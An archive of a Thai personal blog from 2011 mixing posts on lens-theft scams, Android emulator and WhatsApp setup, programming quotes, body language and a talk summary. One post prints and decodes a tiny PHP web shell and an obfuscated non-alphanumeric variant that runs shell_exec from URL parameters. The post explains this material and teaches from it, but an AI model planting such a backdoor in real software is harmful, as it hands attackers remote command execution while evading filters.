ในคลิปนี้ จะเห็นว่า เหล่ามิจฉาชีพ อาจจะอาศัยทำทีมาเป็นนักท่องเทียวที่ต้องการความช่วยเหลือ ช่วยบอกทาง  แต่เมื่อเหยื่อหลงเข้ามาช่วยแล้ว  ก็ใช้การเบี่ยงเบนความสนใจของเหยื่อให้ไปสนใจอยู่ที่แผนที่  ไม่ว่าจะด้วยทั้งภาษาพูดและภาษากาย  และทำให้เหยื่อแทนที่จะระแวดระวังของมีค่าที่ติดอยู่กับตัวเอง  กลับต้องมาให้ความสนใจกับแผนที่และพูดการโต้ตอบกลับนักท่องเที่ยวปลอมๆคนนั้น  และนี่จังหวะนี้เองที่นักมิจฉาชีพชอบนักแล   เพราะในจังหวะนี้แปลว่า เขาจะทำอะไรก็ได้กับทรัพย์สินของเหยื่อ  และสิ่งที่เขาต้องทำหลังจากนั้นก็แค่กดสวิตซ์เพื่อปลดล๊อคเลนส์และบิดเลนส์ออกมา  เก็บเลนส์ใส่กระเป๋าตัวเอง  และหาข้ออ้างเดินออกไปจากวงโดยไม่ให้มีพิรุจแค่นั้นเอง

บางคนอาจจะสงสัยว่า ทำไมเอาไปแต่เลนส์??
ต้องตอบว่า  ถ้าเขาจะเอาไปทั้งหมดน่ะมันก็มีวิธีแหละ  แต่อะไรๆที่คนคิดว่าคนอื่นจะขโมยไปได้ มักจะมีการป้องกันที่ดีกว่าวิธีที่คาดไม่ถึงเสมอ  ถ้าคนเราไม่ได้คิดถึงว่าคนจะขโมยแต่เลนส์ไปแต่ไม่เอาตัวกล้องไปด้วย  งั้นเลนส์นั่นแหละที่ขโมยง่ายสุด

และความจริง... เลนส์บางตัวก็ราคาแพงกว่ากล้องซะอีก!

ดังนั้น!! เพื่อเป็นการป้องกันตัวเองจากกลโกงนี้คือ

  1. เอาใส่ใจกับของมีค่าของเราอยู่ตลอดเวลา
  2. พยายามพกของมีค่าให้อยู่กับตัว  และให้อยู่ในรัศมีสายตาที่เราสามารถเห็นได้ตลอด
  3. ถ้าเป็นไปได้ พยายามเก็บของมีค่าใส่กระเป๋า ไม่ควรเอาออกมาโชว์ล่อตาล่อใจพวกมิจฉาชีพเหล่านั้น
  4. เมื่อเริ่มสังเกต/รู้สึกถึงสิ่งที่ผิดปกติ  ควรแยกตัวออกมาและทำการสำรวจตัวเองและของมีค่าก่อน ทันที

9/23/2011

PHP Shell Without Alpha-Numeric


หลังจากเมื่อหลายวันก่อน อ่านไปเจอ blog อันนี้ http://h.ackack.net/tiny-php-shell.html
ซึ่งเป็นการเขียนโค้ด PHP Shell โดยพยายามให้มันสั้นที่สุดและพยายามมีตัวอักษรน้อยที่สุด
เขาเขียนได้สั้นมากๆจริง  เหลือแค่เพียง
<?=($_=@$_GET[2]).@$_($_GET[1])?>
ซึ่งถึงจะสั้นแล้วก็ตามแต่ก็ยังมีตัวอักษรแบบ Alpha-numeric อยู่ (คือคำว่า "GET" กับ "1","2") ให้พออ่านรู้เรื่องได้อยู่

วันนี้มาเจอ blog ของอีกคนนึง ที่ http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/ ซึ่งเป็นที่มาของการเขียน Blog หน้านี้ ก็เพราะว่านาย "The Spanner" เนี่ย โชว์ฝีมือ เขียนมาโดยไม่มีตัวอักษรหรือตัวเลขเลย แบบเนี้ยะ
<?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
โดยโค้ดนี้ทำงานได้โดยการใส่ URL เป็นแบบ
s.php?_=shell_exec&__=whoami
แล้วมันอ่านยากขนาดนี้  ก็เลยมานั่งแกะโค้ดแล้วก็เลยมาเขียนวิธีการทำงานของโค้ดนี้ให้อ่านกัน

หลักการทำงานทำงานของโค้ด

ขอแยกอธิบายเป็นสองส่วนตามบรรทัดละกัน  เอาส่วนหลังมาอธิบายก่อนด้วย เพราะมันเข้าใจง่ายกว่า

ส่วนหลัง<?=${'_'.$_}['_'](${'_'.$_}['__']);?>

ตรงนี้ถ้าเกิดแทนที่ $_ ด้วยคำว่า "GET" แล้วจะเห็นได้ชัดเจนเลยว่าคืออะไร
ก็จะกลายเป็น <?=${'_'."GET"}['_'](${'_'."GET"}['__']);?>
กลายเป็น  <?=${'_GET'}['_'](${'_GET}['__']);?>
กลายเป็น  <?=$_GET['_']($_GET['__']);?>

ก็คือการเรียกฟังก์ชั่น ที่ชื่อ $_GET['_']  (รับชื่อฟังก์ชั่นมาจาก parameter '_' แบบขีดเดียว)
โดยส่งค่าเข้าไปรันคือ $_GET['__']  (รับค่ามาจาก '__' แบบสองขีด)

พอเรียก URL ด้วย   s.php?_=shell_exec&__=whoami
ค่าที่ถูกแทนที่ก็จะเป็น
<?=shell_exec('whoami');?>

ส่วนแรก<?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

จากส่วนหลัง เราสมมุติไว้ว่า $_="GET"  พอคราวนี้ส่วนแรกก็คือการที่จะทำให้ $_ มีค่าเป็น "GET" โดยที่ไม่ต้องใช้ค่าตัวอักษรแม้แต่ตัวเดียวในโค้ด
ขอแบ่งคำสั่งตรงนี้ออกเป็น 4 คำสั่งก่อน ตามเครื่องหมาย semi-colon(;)

$_="";  
คำสั่งแรกเป็นการสั่งให้ ตัวแปรชื่อ $_ เป็นตัวแปรชนิด string ที่มีขนาด 0 ตัวอักษร หรือ string(0)=''

$_[+""]='';
คำสั่งที่ 2 นี้ พยายามที่จะแปลงตัวแปร $_ ให้กลายเป็นตัวแปรชนิด Array โดยการใส่เลขชี้ตำแหน่งลงไป
โดย +"" ในที่นี้มีความหมายเป็น 0 เพราะการเอาstringเปล่า("")ไปนำหน้าด้วยเครื่องหมาย + ก็คือการพยายามแปลง string ให้กลายเป็น int    และเมื่อstringตัวนั้นมันว่างเปล่า พอแปลงเป็น int ก็เลยได้เลข 0
คำสั่งนี้จึงหมายถึง
$_[0]='';
ดังนั้นตอนนี้ค่าของ $_ จะเป็น  Array{0=>''}

$_="$_"."";
คำสั่งที่ 3 นี้เป็นการเอาคำว่า "Array" ออกมาใส่ใน $_
โดยวิธีการคือ การใช้เครื่องหมายคำพูดครอบตัวแปรไว้ ("$_") เพื่อบังคับให้ตัวแปรนั้นแสดงค่าออกมาในรูปแบบ string
แต่เนื่องจากตอนนี้ค่าของ $_ นั่นเป็นชนิด Array ไม่ใช่ string, พอเวลาโดน"บังคับแปลง" ก็เลยได้คำว่า "Array" ออกมา
หลังจากนั้นก็จะกลายเป็น
 $_="Array"."";  
ซึ่งมีผลทำให้ตอนนี้ตัวแปร $_ กลายเป็นชนิดข้อมูล string และมีค่าเป็น "Array"  (string(5)='Array')

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
คำสั่งสุดท้ายก็ไม่ได้มีอะไรมาก ก็คือการแปลงจากคำว่า "Array" ให้ได้มากซึ่งคำว่า "GET"
โดยตอนนี้ตัวอักษรที่มีค่าใกล้เคียงกับ 'G','E','T' มากที่สุด ก็คือตัวอักษร 'A' ซึ่งเป็นอักษรตัวที่ 0 ของ "Array" นั่นเอง
จะเห็นได้จากในคำสั่งนี้จะเห็นว่ามีการใช้  $_[+""]  สามครั้งด้วยกัน เพื่อคำนวนออกมาให้ได้ตัวอักษร 'G','E' และ 'T'
ซึ่งตัว $_[+""] นี้ก็หมายถึง $_[0] ซึ่งก็หมายถึงตัว 'A' นั่นเอง  ( +"" มีค่าเท่ากับ 0  อธิบายไว้แล้วข้างบน)

พอเรารู้แบบนี้แล้ว โค้ดตรงนี้จะเหลือเพียงแค่
$_=('A'|"").('A'|"").('A'^"");
ปัญหาที่เหลือก็คือ ทำยังไงให้ 'A' กลายเป็น 'G','E','T' ได้
ตรงนี้แนะนำให้เอาโค้ดตัวนี้ไปก๊อปวางในโปรแกรมที่อ่านตัวอักษรพิเศษได้ก่อน (เช่น notepad++)
เพราะจะทำให้เห็นว่า บรรทัดตรงนี้น่ะ มันมีตัวอักษรพิเศษอยู่
คือความจริงแล้วมันเป็น
$_=('A'|"ACK").('A'|"ENQ").('A'^"NAK");
โดยถ้าไปเปิดตาราง ASCII ดูแล้ว (เช่นจาก http://www.asciitable.com/index/asciifull.gif)
จะเห็นว่าค่ารหัสของ
ACK (Acknowledge) = 6
ENQ (Enquiry) = 5
NAK (Negative-Acknowledge) = 21

ดังนั้นจะทำให้สมการตรงนี้ลดลงเหลือแค่
$_=('A'|6).('A'|5).('A'^21);
(สำหรับใครที่ไม่รู้ เครื่องหมาย | นี้หมายถึง bitwise-OR และ ^ นี้หมายถึง bitwise-XOR หาอ่านวิธีการคำนวนได้จาก Google)

ที่เหลือก็จะเป็นการกระทำทางคณิตศาสตร์ของค่าของ 'A' (ซึ่งมีรหัส ASCII เป็น 65) กับตัวเลขต่างๆ
65|6 = 01000001 | 00000110 = 01000111 = 71  (รหัสASCII ของ 'G')
65|5 = 01000001 | 00000101 = 01000101 = 69  (รหัสASCII ของ 'E')
65^21 = 01000001 ^ 00010101 = 01010100 = 84  (รหัสASCII ของ 'T')

สรุปแล้ว $_='G'.'E'.'T' = 'GET' นั่นเอง



9/16/2011

Quotes about Programming

อ่านเจอ ชอบใจ เก็บquoteไว้ดีกว่า  เผื่อจะเอาไว้ใช้ในโอกาสต่อไป


Programs must be written for people to read, and only incidentally for machines to execute.
-- Abelson and Sussman


“Any fool can write code that a computer can understand. Good programmers write code that humans can understand.”
-- Martin Fowler



“Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.
-- Brian Kernighan







“There are only two kinds of languages: the ones people complain about and the ones nobody uses.
-- Bjarne Stroustrup







“Most software today is very much like an Egyptian pyramid with millions of bricks piled on top of each other, with no structural integrity, but just done by brute force and thousands of slaves.
--  Alan Kay







“Measuring programming progress by lines of code is like measuring aircraft building progress by weight.”
-- Bill Gates



“If you want to set off and go develop some grand new thing, you don’t need millions of dollars of capitalization. You need enough pizza and Diet Coke to stick in your refrigerator, a cheap PC to work on and the dedication to go through with it.”
-- John Carmack




Ref:





9/15/2011

วิธีติดตั้ง Keyboard ภาษาไทยบน Android Emulator

ต่อจากภาคที่แล้วที่ลง WhatsApp ไปแล้ว   แต่ยังเกิดปัญหาขึ้นเมื่อ Android Virtual Device (AVD) ของเรายังไม่สามารถพิมพ์ภาษาไทยได้  แชตลำบากเลยทีเดียวเลยล่ะ  เลยเป็นแรงบันดาลใจต้องมาหาวิธีทำให้มันใช้ภาษาไทยให้ได้

เริ่มจากเปิดเจออันนี้
http://soft2.me/droidsans-thai-keyboard-for-android/
เป็นการแนะนำโปรแกรมบน Android ชื่อว่า droidsans thai keyboard (คนไทยทำเย้ๆ)
ถ้าลงโปรแกรมนี้และตั้งค่านิดหน่อยก็จะสามารถพิมพ์ไทยได้

ก่อนอื่น ต้องไปโหลดตัวโปรแกรมที่ว่ามาก่อน  จะเห็นว่าในหน้าเวปนั้นจะมีให้ไปโหลดได้สองที่ คือ

  1. โหลดจาก Android Market (https://market.android.com/details?id=droidsans.android.droidsanskeyboard) : อันนี้ท่าจะลำบากหน่อย เพราะตัวอุปกรณ์เรา(AVD) มันเป็น Emulator มันเลยไม่ได้ลงทะเบียนไว้  เลยโหลดไม่ได้
  2. โหลดตรงๆ จาก Mediafire.com (http://www.mediafire.com/?1xakh6mycz6zcqa) : อันนี้ง่ายกว่า เลยเอาอันนี้ละกัน
เมื่อโหลดเสร็จ จะได้ไฟล์ "DroidSans Thai Keyboard.apk" มา ให้เอาไฟล์นี้ไปไว้ใน "<Android Path>\platform-tools\"  ในกรณีนี้ของผมจะอยู่ที่

C:\Android\platform-tools\

(ที่ต้องเอาไว้ตรงนั้น เพราะโปรแกรมที่เราจะรันต่อไป ที่ชื่อ "adb.exe" อยู่ตรงนั้น  พออยู่ทีเดียวกันก็จะได้ทำอะไรต่อไปง่ายหน่อย)

อันนี้ก๊อปไฟล์มาใส่ในpathเดียวกับ adb.exe เรียบร้อยแล้ว

ต่อไปก็เปิด DOS ขึ้นมา (จะด้วย cmd หรือ Start->All Programs -> Accessories -> Command Prompt ก็แล้วแต่) แล้วก็เข้าไปที่ path ที่ลง Android SDK เอาไว้  (ในที่นี้จะเป็น C:\Android)

ถ้าเปิด Android Virtual Device อยู่ก็ให้ปิดซะก่อน  แล้วมาเปิดใหม่ด้วยคำสั่งต่อไปนี้
เข้าไปที่ folder ชื่อ "tools" แล้วก็ใช้คำสั่ง emulator @TestAndroid -partition-size 100
(* TestAndroid คือชื่อAVDที่ผมใช้  ก็ให้เปลี่ยนเองตามชื่อ AVD ที่แต่ละคนตั้งละกัน)

จากนั้นก็ย้อนกลับไปเข้าที่ folder ชื่อ "platform-tools" (ที่เพิ่งก๊อปไฟล์ลงไป) แล้วรันคำสั่งเพื่อติดตั้งโปรแกรม  คำสั่งคือ adb install "DroidSans Thai Keyboard.apk"

แค่นี้ก็ติดตั้งเสร็จแล้ว    ต่อไปก็มา config กันซะหน่อย

ให้เข้าหน้าโปรแกรมบนAVD แล้วก็เข้า "Settings" --> "Language & keyboard"


เลื่อนลงมา จะเห็นว่ามี DroidSans Thai Keyboard ขึ้นมาแล้ววววววว เย้ๆ
ก็ให้ติ๊กถูกที่ช่องสี่เหลี่ยมข้าง ดังรูป

มาลองดูผลกับ WhatsApp ดูบ้างดีกว่า
พอเปิด WhatsApp มาจะเห็นว่า keyboard ยังเป็นเหมือนเดิมเลย
ต้องไปกดเปลี่ยน keyboard ก่อน ที่ปุ่มกลมๆด้านล่างซ้าย (แถวล่างสุด ปุ่มที่2จากทางซ้าย)

เลือก "Select input method" แล้วก็เลือก "DroidSans Thai Keyboard"
แค่นี้หน้าจอkeyboardเราก็จะเปลี่ยนไปแล้ว
ส่วนการสลับภาษา ก็ใช้ปุ่ม "en/th" ที่อยู่ด้านล่างซ้าย เหมือนเดิม

ตอนนี้พิมพ์ไทยได้แล้ว  แต่มันต้องเอาเมาส์จิ้มๆทีละตัว  แต่ก็ยังดีล่ะนะ อย่างน้อยก็ส่งข้อความไทยได้ละ :)






WhatsApp on PC (Windows 7)

Recently, I saw so many friends asking online for WhatsApp requests or how to use it. It's kinda frustrate me a little, because WhatsApp doesn't have a version in Windows Mobile 6.5 that I own, and I have spent my money for something else, not for a new Android phone.

So, I just got an idea... why can't I use it on my PC?
Since it uses internet(Edge/3G) to chat anyway, it is possible to use a PC to do the same thing. Then, I started asking around about how the software works. S
eems WhatsApp needs also a mobile phone number to register and as a redundancy when offline. If it's just that.... it's now possible to do.


Requirements:


Let's start.
(for those who are familiar with setting up Android Emulator, you can skip to step 6.)



1. Install Android SDK. The default installation path is at "C:\Program Files (x86)\Android" but it seems to have a little trouble after installation because it is difficult to type a path name with " "(space) in between. I recommend to use "C:\Android" for installing path, or use a DOS command "makelink" to create a link from "C:\Android" to the installation path. I won't cover the installation process here.



2. After finish installing, "SDK Manager" program would popup, if not, open it from Start-->All Programs-->Android SDK Tools-->SDK Manager . This tool is for managing which version of Android will be installed in the system. You can choose to install all the Android versions available, but it would be a long time for downloading. I recommend installing only what is needed. For this tutorial, I'll use only Android 2.3.3 API 10.



3. When the SDK Manager finish updating and installing, it's time for setting up our emulator. First off, go to the "Virtual devices" tab on the left, and hit "New..."

New AVD button on SDK Manager

4. On the new emulator window, type emulator name as you want (in this case "TestAndroid"). Set the "Target" and SD card size, then hit Create AVD.
creating Android Virtual Device (AVD/Android emulator)

5. This image shows the Android Virtual Device has been successfully created. Let's click on "Start..." button to start it. (warning, it might take time... it is really slow)
Successful create an AVD, click Start button to start the device

6. When the Android Virtual Device started properly, open the web browser(on the device) and go to www.WhatsApp.com (you can click on Google searchbox and type the URL) and download WhatsApp program and install it.
Download WhatsApp.apk and install it.


 7. Open WhatsApp, it'll ask you to type in your phone number. It'll send you a text SMS to verify that is really your number. You have to type your real phone number here.



8. You have to wait for awhile for the SMS message arrive to your own phone. The message will look like this. 

From: 99999
Message:
WhatsApp code 984

Now it is a tricky part to put this message into Android Virtual Device to verify your phone number. (One of my friend didn't do this, he verified by sound instead, which is ok. But mine is cooler XD) 
Open a "telnet" or "putty" connection to localhost port 5554

telnet to connect to Localhost port 5554


Fake an SMS message into android virtual device by typing this

sms send <sender phone no.>  <message>

Issue a command "sms send <phone no.> <message>"
(* "OK" is an affirmation from AVD)


9. Now it's done.

This tool is supposed to query all the phone contacts in the phone to add in WhatsApp, but too bad that I couldn't create a contact in this device just yet. Anyway, what you can do is waiting for friends to add your phone number and see you online. And it's working!
Yea~~ WhatsApp on Windows 7

UPDATE (11/23/2011):
      I saw many people have problems on installing WhatsApp on Emulator. My first thought is I think WhatsApp changed its code to disable us from using their app on Emulator, which is true. I just tried again today and it does not work. The new freshly download file's size is 4.75 MB, but the original file I did while doing this tutorial is just 4.29 MB (version 2.6.7722)


     So, what can we do about it? I think from now on, we cannot use WhatsApp on Android emulator anymore. But if you "really" want to try it on the emulator, here is the how-to:
  1. I uploaded the APK installer (from the time I wrote this tutorial) to here: http://www.mediafire.com/?5d7ehmd4g52cmmg
  2. Download the file and put it in the folder that easy to remember. (I put it in D:\)
  3. start the emulator so we can communicate with it via command line
  4. use command prompt (cmd.exe as in step 8. above) and go to the folder contains "adb.exe" (usually is at C:\Program Files (x86)\Android\android-sdk\platform-tools)
  5. run command "adb install d:\WhatsApp.apk"  (without quotes), where d:\WhatsApp.apk is where the downloaded file is. Then wait until it completed.
  6. go to the emulator, and perform the steps 6-9 above to install the app normally.
  

9/07/2011

Six Postures As Visual Cues

ลักษณะการแสดงออกต่างๆของแต่ละคน เช่น ท่านั่ง ท่าเดิน ท่ายืน การขยับแขนขาต่างๆ เหล่านี้สามารถใช้เป็นสัญญาณอย่างนึงที่จะช่วยบอกให้รู้ว่าคนๆนั้นกำลังรู้สึกนึกคิดอะไรอยู่  ซึ่งเราจะสามารถนำไปใช้ในการปรับวิธีการเข้าหาพูดคุยกับคนๆนั้นเพื่อมีประสิทธิภาพมากขึ้นได้  ในที่นี้จะยกตัวอย่างลักษณะ 6 แบบคือ


  1. นั่งแบบผ่อนคลาย: อาจจะเห็นการงอหลัง ลักษณะคล้ายร่างกายหมดแรงไปทั้งตัว  แสดงให้เห็นถึงสภาพจิตใจที่อยู่ในสภาพที่อ่อนล้า หมดกำลังใจ  หรือกำลังอยู่ในความเศร้า  ดังนั้นการเข้าหาบุคคลลักษณะนี้ไม่ควรเข้าหาแบบกระโชกโฮกฮาก หรือแบบดุดัน  แต่ควรที่จะเข้าไปแบบช้าๆ แสดงความเห็นอกเห็นใจ แสดงถึงความสงสาร เพื่อที่จะให้ทำคนๆนั้นรู้สึกสบายใจขึ้นและพร้อมจะพูดกับเรา
  2. หลังตรง: แสดงให้เห็นถึงความสบายใจและความมั่นใจในขณะนั้น  ทำให้รู้ได้ว่าคนๆนั้นยังมีทั้งกำลังกายและกำลังใจในการทำกิจกรรมต่างๆได้อีก  ทั้งยังจะรู้สึกตื่นตัวอยู่มากและมีความระแวดระวัง ดังนั้นอาจจะเป็นการยากในการที่จะพูดโน้มน้าวคนเหล่านี้
  3. เอนตัวไปข้างหน้า: ระหว่างการสนทนา ถ้าคนที่กำลังพูดอยู่ด้วยเอนตัวไปข้างหน้า(เข้าหาเรา) จะแสดงให้เห็นชัดเจนว่าคนๆนั้นกำลังสนใจและกำลังเปิดใจรับในสิ่งที่เรากำลังพูดอยู่  นี่ถือว่าเป็นสัญญาณที่ดีในการสนทนา
  4. เอนตัวไปข้างหลัง: ตรงกันข้ามกันกับข้อ 3.  ถ้าคนที่เรากำลังคุยด้วยอยู่เริ่มเอนตัวออกห่างจากเรา (ไม่ว่าท่านั่งหรือท่ายืน) เป็นสัญญาณเตือนว่าคนๆนั้นเริ่มหมดความสนใจในสิ่งที่เรากำลังพูดอยู่  ควรที่จะรีบเปลี่ยนเรื่องพูดหรือว่าปรับเปลี่ยนลักษณะการพูดเพื่อให้มีความน่าสนใจมากขึ้น
  5. กอดอก: บางคนกอดอกเพราะเป็นธรรมชาติของเขา  แต่บางคนก็กอดอกระหว่างการสนทนาที่เป็นสัญญาณให้เห็นว่าเขากำลังอยู่ในสภาพ"ตั้งรับ"  การเอาแขนมาไขว้กันให้อยู่ในสภาพเป็นเกราะป้องกันร่างกายส่วนบนนั้น เป็นสัญญาณที่บอกว่าคนๆนั้นเริ่มที่จะไม่รู้สึกดีกับบทสนทนานี้แล้ว
  6. คลายมือจากกอดอก: ตรงกันข้ามกับ 5. ถ้าระหว่างการสนทนา คนที่กำลังคุยด้วยเริ่มคลายมือจากการกอดอก นี่เป็นสัญญาณที่ดีที่หมายถึงว่า คนๆนั้นเริ่มเปิดประตูใจ รับเราเข้าไป รับความคิดเห็นเราเข้าไป และรู้สึกว่าบทสนทนานี้ไม่ได้มีความรู้สึกมุ่งร้ายอีกต่อไป  และยังหมายถึงเราได้สร้างความประทับใจให้กับเขาแล้ว
ลักษณะท่าทางต่างๆ ที่สามารถบอกถึงความรู้สึกนึกคิดเช่นนี้ ยังมีอีกมาก   สามารถอ่านเพิ่มได้จากหนังสือบอกบุคลิกท่าทางต่างๆ เช่น "What Every BODY is Saying." ของ Joe Navarro เป็นต้น

อ้างอิง: 
Social-Engineering.org Newsletter Vol. 02 Issue. 24

9/01/2011

สรุปเนื้อหาจากงาน First Step ตอน จุดเปลี่ยน โดย ดร. ศุภชัย ศรีศุภอักษร

วันนี้ได้ไปฟังงานที่ชมรมพัฒนาศักยภาพและคุณธรรมของม.เทคโนโลยีพระจอมเกล้าธนบุรีจัดขึ้น
งานวันนี้เป็นงานสัมภาษณ์ ดร. ศุภชัย  ศรีศุภอักษร
ซึ่งท่านเป็นผู้ที่เป็นคนที่สร้างเนื้อสร้างตัวจากลูกชาวไร่ชาวนาจนๆจนประสบความสำเร็จได้
เนื้อในการพูดส่วนใหญ่จะเป็นเรื่องของคุณประโยชน์ของสติและสมาธิ  รวมถึงการใช้และฝึกสมาธิในชีวิตประจำวัน

อไปนี้เป็นสรุปที่จดมา  แต่ต้องบอกก่อนว่า คำพูดอาจจะไม่ตรงกับที่ท่านพูดเป๊ะๆ  เพราะนี่เป็นสรุปจากที่ย่อไว้  แต่ตัวเนื้อหาความหมายก็จะคงความถูกต้องอยู่

  1. ท่านเริ่มด้วยการพูดถึง "เป้าหมายในชีวิต"?  และ "อะไรที่กระตุ้นทำให้คุณไปสู่จุดหมายนั้นได้"
  2. จาก "ความรู้" จะเปลี่ยนให้เป็น "ความสามารถ" นั้นจะทำได้จะต้องทำ "กิจกรรม"
  3. "การศึกษา" เป็นทางลัดสู่ความสำเร็จ
  4. "ความรู้" เป็นเครื่องมือและอุปกรณ์ให้นิสัยคนเอาไปใช้   กล่าวคือ  ความรู้เป็นแค่เครื่องมือ  แต่ว่า สิ่งที่จะใช้เครื่องมือนั้นคือตัวเรา และตัวเราประกอบด้วย ร่างกาย + จิตใจ โดยมีใจเป็นนาย กายเป็นบ่าว   ส่วนในจิตใจนั้นก็จะถูกควบคุมอีกทีโดยนิสัย  ถ้านิสัยดี ก็จะคุมจิตใจให้ดี และก็จะคุมร่างกายให้กระทำดี และก็ใช้ความรู้ในทางที่ถูกต้อง
  5. โลกมนุษย์ที่วุ่นวายนี้  ถ้าทุกคนมี"สติ"และ"สัมปชัญญะ" เรื่องวุ่นวายต่างๆก็จะไม่เกิดขึ้น
    1. "สติ"  คือ ความรู้สึกตัวอยู่ตลอดเวลาว่าทำอะไรอยู่
    2. "สัมปชัญญะ" คือ ความสามารถในการตัดสินผิดถูก
  6. จิตใจคนเหมือนน้ำ   หลังจากตื่นนอน เราจะเริ่มรับเอาเรื่องต่างๆเข้ามา เป็นตะกอนในจิตใจเข้ามาเรื่อยๆ จนเริ่มทำให้น้ำขุ่น   สมาธิก็เปรียบเหมือนกับสารส้ม ที่จะแกว่งเอาตะกอนต่างๆให้ตกลงสู่ก้น ทำให้น้ำใสได้
  7. จิตใจ ประกอบด้วยสี่อย่าง  เห็น+จำ+คิด+รู้ 
  8. เปรียบเทียบกับปัญญา  สติ ในบนอาขยานบทนี้

    1. วิชาเหมือนสินค้า

         วิชาเหมือนสินค้า        อันมีค่าอยู่เมืองไกล
      ต้องยากลำบากไป         จึงจะได้สินค้ามา
      จงตั้งเอากายเจ้า           เป็นสำเภาอันโสภา
      ความเพียรเป็นโยธา      แขนซ้ายขวาเป็นเสาใบ
      นิ้วเป็นสายระยาง          สองเท้าต่างสมอใหญ่
      ปากเป็นนายงานไป       อัชฌาสัยเป็นเสบียง
      สติเป็นหางเสือ             ถือท้ายเรือไว้ให้เที่ยง
      ถือไว้อย่าให้เอียง          ตัดแล่นเลี่ยงข้ามคงคา
      ปัญญาเป็นกล้องแก้ว    ส่องดูแถวแนวหินผา
      เจ้าจงเอาหูตา              เป็นล้าต้าฟังดูลม
      ขี้เกียจคือปลาร้าย        จะทำลายให้เรือจม
      เอาใจเป็นปืนคม          ยิงระดมให้จมไป
      จึงจะได้สินค้ามา          คือวิชาอันพิสมัย
      จงหมั่นมั่นใจหมาย       อย่าได้การวิชา
         

      จาก ดรุณศึกษา เล่ม ๓
  9. ไอน์สไตน์กล่าวว่า "หนึ่งพันความรู้ ไม่สู้ หนึ่งจินตนาการ"
  10. สัมมาทิฐิ สำคัญที่สุด  เพราะถ้าคิดผิด  ก็จะนำไปสู่การคิดผิด พูดผิด และทำผิด
  11. สมาธิ คือ การมีสติที่กำกับการกระทำตลอดเวลา
  12. ลักษณะของคนที่ครองสมาธิได้ คือ คนที่เตือนตัวเองได้  ไม่จำเป็นต้องมีคนมาให้กำลังใจ ก็สามารถนำพาชีวิตตัวเองไปได้  เพราะการมีสมาธิได้ จะสามารถ นำจิตได้  เมื่อนำจิตได้แล้ว ก็จะนำกายได้  และสุดท้ายก็จะนำผู้อื่นได้
  13. "คนจะเหนือคนได้ ก็คือ คนที่สามารถควบคุมร่างกาย และ จิตใจของตัวเองที่มีอยู่ได้"
  14. ถ้าไปดูตามตลาด จะเจอพ่อค้าแม่ค้าที่ใช้มีดเล่มเดียวแต่ก็ทำอะไรได้หลากหลายอย่าง ก็เพราะว่าใช้จนชำนาญ  แต่ร่างกายของคนเราที่พ่อแม่ให้เรามาตั้งแต่กำเนิด  เราก็ควรจะใช้ให้มันมีประสิทธิภาพได้
  15. การจะประสบความสำเร็จได้ จะต้องทำตามขั้นตอนคือ
    1. กำหนดเป้าหมายชีวิตให้ชัดเจน  (คิดให้เป็นภาพสีออกมาให้ได้)
    2. ลิสต์ภาระกิจที่จะต้องกระทำเพื่อให้ไปถึงเป้าหมายนั้นได้
    3. บางภาระกิจอาจจะต้องใช้ผล ที่มีคนอื่นมาเกี่ยวข้องด้วย  ให้เน้นพัฒนานิสัยของตัวเอง เพื่อการเข้าหาผู้อื่น
      1. มีระเบียบ (organized)
      2. รับฟังคนอื่น เคารพความคิดเห็นคนอื่น (listen, open heart)
      3. รับผิดชอบ (responsible)
      4. ทนต่อการรอคอย  ทนต่อความล้มเหลว  มีวิริยะอุตสาหะ (patient)




สามประเภท ของความเป็นชาย

บล็อคนี้จะขอทำในรูปแบบแปลละกัน  โดยอ้างอิงเนื้อหามาจาก
http://www.sodahead.com/living/sh-males-which-are-you-alpha-male-beta-male-or-omega-male/question-1107141/


Alpha Male: ผู้ชายแบบอัลฟ่
  ผู้ชายแบบนี้จะดูเหมือนว่าทำตัว สบายๆเกือบตลอดเวลาที่อยู่ต่อหน้าผู้หญิง และสามารถที่จะแต่งงานหรือว่าออกเดทกับผู้หญิงคนไหนก็ได้ที่เขาชอบ   ในสภาวะการทำงาน ผู้ชายแบบอัลฟ่านี้จะมีลักษณะเป็นผู้นำ  มีความมั่นใจ มีความนิ่ง แต่เขาก็อาจจะสร้างให้เกิดการทะเลาะกันได้ง่าย มีความต้องการที่จะให้ทุกอย่างเป็นไปอย่างที่ตัวเองต้องการสูง  และทำให้ยากที่จะทำงานด้วย


Beta Male: ผู้ชายแบบเบต้
  พวกเบต้าจะเป็นพวกมือขวา  ทำตัวเป็นผู้ตามที่ดี  รู้จักการทำงานเป็นหมู่คณะ  สามารถไกล่เกลี่ยปัญหาในทีมได้  ในมุมมองของคน พวกเบต้านี้จะเป็นแฟนที่ดีที่สุด  พวกนี้จะทำงานบ้านมากกว่าคนอื่น และอาจจะดีบนเตียงด้วย  เพราะคนพวกนี้จะรู้จักวิธีที่จะทำให้เกิดผลสำเร็จได้ดีขึ้น  คนพวกเบต้ามีความเป็นกวีสูง และยังมีจินตนาการเหมือนเด็กๆอยู่ในตัวเอง  พวกเขารู้ว่าตัวเองเป็นใคร และไม่พยายามที่จะพิสูจน์ค่าของตัวเองเทียบกับสิ่งของอื่นๆ


Omega Male: ผู้ชายแบบโอเมก้
  ผู้ชายแบบโอเมก้าแตกต่างกันอย่างสิ้นเชิงกับผู้ชายแบบอัลฟ่าและเบต้า  พวกโอเมก้าจะเป็นพวกที่อยู่ต่ำสุดที่สุดของที่สุดของห่วงโซ่อาหาร  พวกเขาจะชอบหลีกเลี่ยงความรับผิดชอบ  ปฏิเสธที่จะโต และพยายามหลีกเลี่ยงการมีส่วนร่วมในโลกในชีวิตจริง  คนพวกนี้อาจจะมีหลายรูปแบบ  เช่น คนที่ทำตัวหน้ารำคาญขี้วีน  คนที่ทำตัวเหมือนตัวเองเป็นบัณฑิตผู้รู้   คนที่ทำตัวเป็น metrosexual  และพวกที่ติดเกมอย่างหนัก ที่แสดงให้เห็นถึงผู้ชายประเภทใหม่ที่ดูเหมือนจะปฏิเสธความหมายของความเป็นชายในแบบทั่วๆไป (ความบึกบึน ความอดทน ฯลฯ)


แล้วคุณเป็นผู้ชายแบบไหน??